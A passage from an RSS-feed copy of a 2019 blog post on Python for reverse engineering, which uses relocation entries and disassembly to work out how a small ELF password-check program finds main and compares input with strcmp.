1105                <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">&#39;r_offset&#39;</span><span class="p">])</span>
1106                <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">&#39;{symbol.name} {addr}&#39;</span><span class="p">)</span>
1107</code></pre></div>
1108
1109<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1110
1111<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1112<span class="go">.rela.dyn:</span>
1113<span class="go"> 0x200d98</span>
1114<span class="go"> 0x200da0</span>
1115<span class="go"> 0x201008</span>
1116<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1117<span class="go">**__libc_start_main 0x200fe0**</span>
1118<span class="go">__gmon_start__ 0x200fe8</span>
1119<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1120<span class="go">__cxa_finalize 0x200ff8</span>
1121<span class="go">stdin 0x201010</span>
1122<span class="go">.rela.plt:</span>
1123<span class="go">puts 0x200fb0</span>
1124<span class="go">printf 0x200fb8</span>
1125<span class="go">fgets 0x200fc0</span>
1126<span class="go">strcmp 0x200fc8</span>
1127<span class="go">malloc 0x200fd0</span>
1128</code></pre></div>
1129
1130<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>
1131
1132<blockquote>
1133  <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1134</blockquote>
1135
1136<p>And its definition is like so</p>
1137
1138<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> 
1139<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> 
1140<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1141<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1142<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1143<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1144</code></pre></div>
1145
1146<p>Looking back at our disassembly</p>
1147
1148<pre><code>0x6a0: xor ebp, ebp
11490x6a2: mov r9, rdx
11500x6a5: pop rsi
11510x6a6: mov rdx, rsp
11520x6a9: and rsp, 0xfffffffffffffff0
11530x6ad: push rax
11540x6ae: push rsp
11550x6af: lea r8, [rip + 0x23a]
11560x6b6: lea rcx, [rip + 0x1c3]
1157**0x6bd: lea rdi, [rip + 0xe6]**
11580x6c4: call qword ptr [rip + 0x200916]
11590x6ca: hlt
1160... snip ...
1161</code></pre>
1162
1163<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1164
1165<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1166
1167<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1168
1169<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1170
1171<pre><code>printf 0x650
1172fgets  0x660
1173strcmp 0x670
1174malloc 0x680
1175</code></pre>
1176
1177<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1178
1179<pre><code>0x7b2: mov edi, 0xa  ; 10
11800x7b7: call 0x680    ; malloc
1181</code></pre>
1182
1183<p>The loop to populate the <code>*pw</code> string</p>
1184
1185<pre><code>0x7d0:  mov     eax, dword ptr [rbp - 0x14]
11860x7d3:  cdqe    
11870x7d5:  lea     rdx, [rax - 1]
11880x7d9:  mov     rax, qword ptr [rbp - 0x10]
11890x7dd:  add     rax, rdx
11900x7e0:  movzx   eax, byte ptr [rax]
11910x7e3:  lea     ecx, [rax + 1]
11920x7e6:  mov     eax, dword ptr [rbp - 0x14]
11930x7e9:  movsxd  rdx, eax
11940x7ec:  mov     rax, qword ptr [rbp - 0x10]
11950x7f0:  add     rax, rdx
11960x7f3:  mov     edx, ecx
11970x7f5:  mov     byte ptr [rax], dl
11980x7f7:  add     dword ptr [rbp - 0x14], 1
11990x7fb:  cmp     dword ptr [rbp - 0x14], 8
12000x7ff:  jle     0x7d0
1201</code></pre>
1202
1203<p>And this looks like our <code>strcmp()</code></p>
1204
1205<pre><code>0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
12060x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
12070x84b:  mov     rsi, rdx             
12080x84e:  mov     rdi, rax
12090x851:  call    0x670                       ; strcmp  
12100x856:  test    eax, eax                    ; is = 0? 
12110x858:  jne     0x868                       ; no? jump to 0x868
12120x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
12130x861:  call    0x640                       ; puts
12140x866:  jmp     0x874
12150x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
12160x86f:  call    0x640                       ; puts  
1217</code></pre>
1218
1219<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1220
1221<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1222
1223<h3 id="conclusion">Conclusion</h3>
1224
1225<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1226
1227<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1228
1229<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1230]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1231</rss>